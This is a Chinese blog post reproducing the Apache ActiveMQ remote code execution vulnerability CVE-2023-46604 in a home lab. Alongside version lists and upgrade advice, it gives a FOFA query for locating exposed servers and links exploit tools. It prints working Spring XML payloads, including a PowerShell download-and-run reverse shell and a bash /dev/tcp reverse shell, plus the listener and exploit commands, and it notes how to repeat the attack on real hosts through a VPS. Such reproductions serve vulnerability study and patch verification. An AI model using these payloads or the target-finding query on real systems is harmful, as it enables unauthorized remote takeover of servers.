【Apache ActiveMQ 远程代码执行漏洞复现(CVE-2023-46604)】

一纸-荒芜 2024-07-22 10:37:02 阅读 67

文章目录

前言

一、漏洞名称

二、漏洞描述

三、受影响端口

四、受影响版本

五、FOFA语法

六、本地复现

1、环境搭建

2、exp工具复现

七、修复建议


前言

近期在漏洞扫描时发现服务器存在CVE-2023-46604漏洞,故做一下漏洞复现记录。


一、漏洞名称

Apache ActiveMQ 远程代码执行漏洞

二、漏洞描述

Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。

三、受影响端口

61616

四、受影响版本

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

五、FOFA语法

<code>app="APACHE-ActiveMQ" && port="61616"code>

六、本地复现

1、环境搭建

本地环境采用的是kali+win10系统做复现,漏洞环境安装部署在win10中。

ActiveMQ版本:5.17.4,Java环境为jdk11,需提前安装好。

win10 IP:192.168.78.174

kali IP: 192.168.78.128

下载好ActiveMQ后修改配置文件

进入bin目录下选择win64目录下的bat文件开启运行

可访问即可,默认账户密码:admin/admin

2、exp工具复现

工具地址:

https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp

https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

个人感觉下面这个好用点,我这里用下面这个吧

上面这个工具使用可参考这个博客:Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)-CSDN博客

工具下载好后利用很简单,首先准备好poc.xml

poc-dnslog

<code><?xml version="1.0" encoding="utf-8"?>code>

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> code>

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> code>

<constructor-arg>

<list>

<value>ping</value>

<value>xxx.xxx.xxx.cn</value>

</list>

</constructor-arg>

</bean>

</beans>

poc-win

<beans xmlns="http://www.springframework.org/schema/beans"code>

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"code>

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">code>

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">code>

<constructor-arg>

<list>

<value>powershell</value>

<value>-c</value>

<value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.128 -Port 3333]]></value>

</list>

</constructor-arg>

</bean>

</beans>

poc-linux

<?xml version="1.0" encoding="UTF-8" ?>code>

<beans xmlns="http://www.springframework.org/schema/beans"code>

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"code>

xsi:schemaLocation="

http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">code>

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">code>

<constructor-arg >

<list>

<value>bash</value>

<value>-c</value>

<value><![CDATA[bash -i >& /dev/tcp/ip/端口 0>&1]]></value>

</list>

</constructor-arg>

</bean>

</beans>

这里目标主机为windows系统,采用对应的poc,当然poc是根据环境决定,可随意改

在poc目录开启http服务,可正常访问即可

python3 -m http.server 8000

在kali监听端口

<code>nc -lvvp 3333

在本机运行exp工具

activemq-rce -i 192.168.78.174 -u http://192.168.78.128:8000/poc.xml

查看监听端口,可看到shell成功反弹,并且为管理员权限

复现成功

实际环境反弹须借助vps公网IP,操作方法类似,做好端口映射,发布http服务即可。

注:无授权不要随意使用实际环境复现,最好是本地,本文仅作技术交流,任何非授权行为均与本文无关。

七、修复建议

建议更新到安全版本

<code>Apache ActiveMQ >= 5.18.3

Apache ActiveMQ >= 5.17.6

Apache ActiveMQ >= 5.16.7

Apache ActiveMQ >= 5.15.16




声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。